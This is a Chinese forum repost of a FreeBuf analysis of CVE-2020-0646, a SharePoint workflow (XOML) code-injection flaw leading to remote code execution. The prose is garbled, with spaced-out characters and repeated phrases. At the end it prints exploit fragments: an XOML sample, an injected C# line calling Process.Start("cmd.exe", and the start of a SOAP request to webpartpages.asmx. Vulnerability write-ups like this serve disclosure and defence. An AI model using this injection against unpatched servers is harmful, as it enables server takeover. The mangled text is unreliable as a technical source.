搜索

[15077] 2020-03-01_CVE-2020-0646：SharePoint中的远程代码执行漏洞分析

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-03-01_CVE-2020-0646：SharePoint中的远程代码执行漏洞分析 C V E - 2 0 2 0 - 0 6 4 6 ： S h a r e P o i n t 中 的 远 程 代 码 执 行 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 3 - 0 1 漏 洞 描 述 漏 洞 描 述 2 0 1 9 年 年 1 1 月 份 ， 安 全 研 究 人 员 在 微 软 月 份 ， 安 全 研 究 人 员 在 微 软 S h a r e P o i n t   O n l i n e 的 工 作 流 中 发 现 了 一 个 代 码 注 入 漏 洞 ， 并 将 其 上 报 给 微 软 公 司 。 攻 击 者 一 旦 成 功 利 用 该 漏 洞 ， 将 能 够 在 目 标 系 统 中 实 现 远 程 代 的 工 作 流 中 发 现 了 一 个 代 码 注 入 漏 洞 ， 并 将 其 上 报 给 微 软 公 司 。 攻 击 者 一 旦 成 功 利 用 该 漏 洞 ， 将 能 够 在 目 标 系 统 中 实 现 远 程 代 码 执 行 。 微 软 在 获 取 到 漏 洞 信 息 之 后 ， 第 一 时 间 修 复 了 在 线 平 台 上 的 相 关 漏 洞 ， 但 是 却 到 码 执 行 。 微 软 在 获 取 到 漏 洞 信 息 之 后 ， 第 一 时 间 修 复 了 在 线 平 台 上 的 相 关 漏 洞 ， 但 是 却 到 2 0 2 0 年 的 年 的 1 月 份 才 修 复 月 份 才 修 复 . N E T   F r a m e w o r k 中 的 相 关 问 题 。 因 此 ， 如 果 你 的 中 的 相 关 问 题 。 因 此 ， 如 果 你 的 S h a r e P o i n t   O n - R r e m i s e 版 本 没 有 安 装 版 本 没 有 安 装 2 0 2 0 年 年 1 月 份 的 月 份 的 . N E T 补 丁 ， 那 你 将 仍 然 会 受 到 该 漏 洞 的 影 响 。 补 丁 ， 那 你 将 仍 然 会 受 到 该 漏 洞 的 影 响 。 需 要 注 意 的 是 ， 如 果 你 的 I I S 配 置 支 持 . X O M L 扩 展 ， 那 么 在 文 件 上 传 时 你 同 样 有 可 能 受 到 该 漏 洞 的 影 响 。 C V E - 2 0 2 0 - 0 6 4 6 漏 洞 分 析 漏 洞 分 析 在 编 译 X O M L 格 式 文 件 时 ， 攻 击 者 可 以 利 用 S y s t e m . W o r k f l o w . A c t i v i t i e s 命 名 空 间 中 的 某 些 参 数 来 在 S h a r e P o i n t 服 务 器 上 执 行 任 意 代 码 。 正 是 因 为 攻 击 者 能 够 执 行 任 意 代 码 ， 因 此 该 漏 洞 也 能 被 用 来 绕 过 W o r k f l o w 编 译 器 的 n o c o d e 选 项 。 下 面 的 X O M L 文 件 显 示 的 是 一 个 使 用 C a l l E x t e r n a l M e t h o d A c t i v i t y 类 的 样 例 ： 在 编 译 过 程 中 ， 攻 击 者 可 以 将 I n t e r f a c e T y p e 属 性 的 值 注 入 到 刚 刚 生 成 的 C # 临 时 文 件 中 ： 完 成 上 述 操 作 之 后 ， 攻 击 者 就 可 以 绕 过 原 函 数 并 尝 试 实 现 任 意 代 码 执 行 了 。 值 得 一 提 的 是 ， 在 上 述 例 子 中 ， 当 I n t e r f a c e T y p e 属 性 受 到 影 响 时 ， 其 他 S t r i n g 类 型 的 属 性 （ 例 如 M e t h o d N a m e ） 已 正 确 验 证 或 转 义 。 除 此 之 外 ， C o d e A c t i v i t y 类 中 的 E x e c u t e C o d e 参 数 同 样 会 受 这 种 利 用 方 式 的 影 响 ， 但 是 我 们 无 法 在 S h a r e P o i n t 的 在 线 版 本 中 针 对 该 参 数 进 行 利 用 和 攻 击 ， 只 能 适 用 于 O n - P r e m i s e 版 本 。 当 然 了 ， 这 里 很 可 能 还 有 其 他 的 A c t i v i t y 类 会 受 到 潜 在 影 响 。 比 如 说 ， 在 下 面 的 例 子 中 ， 攻 击 者 使 用 了 如 下 H T T P 请 求 在 S h a r e P o i n t   O n l i n e 版 本 上 执 行 了 任 意 代 码 ： 攻 击 完 成 之 后 ， 我 们 就 可 以 查 看 到 主 机 需 要 解 析 的 对 应 D N S 名 称 了 ： 除 此 之 外 ， 攻 击 者 同 样 可 以 利 用 上 述 请 求 来 利 用 O n - P r e m i s e 版 本 中 的 漏 洞 并 实 施 攻 击 。 后 话 后 话 安 装 了 漏 洞 C V E - 2 0 2 0 - 0 6 4 6 的 补 丁 之 后 ， S h a r e P o i n t 的 工 作 流 将 会 检 查 所 有 的 X M L 元 素 及 属 性 ， 以 确 保 它 们 只 包 含 有 限 数 量 的 合 法 字 符 。 因 此 ， 当 使 用 所 选 的 n o c o d e 选 项 时 ， 攻 击 者 将 无 法 在 默 认 配 置 中 向 生 成 的 C # 代 码 注 入 任 意 代 码 了 。 参 考 资 料 参 考 资 料 1 、 h t t p s : / / w w w . n c c g r o u p . t r u s t / u k / o u r - r e s e a r c h / t e c h n i c a l - a d v i s o r y - b y p a s s i n g - w o r k f l o w s - p r o t e c t i o n - m e c h a n i s m s - r e m o t e - c o d e - e x e c u t i o n - o n - s h a r e p o i n t / 2 、 h t t p s : / / w w w . n c c g r o u p . t r u s t / u k / o u r - r e s e a r c h / t e c h n i c a l - a d v i s o r y - b y p a s s i n g - m i c r o s o f t - x o m l - w o r k f l o w s - p r o t e c t i o n - m e c h a n i s m s - u s i n g - d e s e r i a l i s a t i o n - o f - u n t r u s t e d - d a t a / *   参 考 来 源 ： 参 考 来 源 ： m d s e c ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 < S e q u e n t i a l W o r k f l o w A c t i v i t y   x : C l a s s = " M y W o r k f l o w "   x : N a m e = " f o o b a r "   x m l n s : x = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / w i n f x / 2 0 0 6 / x a m l "   x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / w i n f x / 2 0 0 6 / x a m l / w o r k f l o w " …         p r i v a t e   v o i d   I n i t i a l i z e C o m p o n e n t ( )         {                 …                 t h i s . c o d e A c t i v i t y 1 . I n t e r f a c e T y p e   =   t y p e o f ( S y s t e m . S t r i n g ) ; } O b j e c t / * * / t e s t 2 = S y s t e m . D i a g n o s t i c s . P r o c e s s . S t a r t ( " c m d . e x e " P O S T   h t t p : / / [ R E D A C T E D ] . s h a r e p o i n t . c o m / _ v t i _ b i n / w e b p a r t p a g e s . a s m x   H T T P / 1 . 1 D a t e :   T u e ,   2 9   O c t   2 0 1 9   1 4 : 2 6 : 2 1   G M T M I M E - V e r s i o n :   1 . 0 A c c e p t :   * / * S O A P A c t i o n :   h t t p : / / m i c r o s o f t . c o m / s h a r e p o i n t / w e b p a r t p a g e s / V a l i d a t e W o r k f l o w M a r k u p A n d C r e a t e S u p p o r t O b j e c t s U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S   F r o n t P a g e   1 5 . 0 ) H o s t :   [ R E D A C T E D ] . s h a r e p o i n t . c o m A c c e p t - L a n g u a g e :   e n - u s ,   e n ; q = 0 . 1 A c c e p t :   a u t h / s i c i l y X - F O R M S _ B A S E D _ A U T H _ A C C E P T E D :   T C o n t e n t - T y p e :   t e x t / x m l ;   c h a r s e t = u t f - 8 X - V e r m e e r - C o n t e n t - T y p e :   t e x t / x m l ;   c h a r s e t = u t f - 8 A c c e p t - e n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   K e e p - A l i v e P r a g m a :   n o - c a c h e C o n t e n t - L e n g t h :   1 0 3 1 C o o k i e :   [ R E D A C T E D ]
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理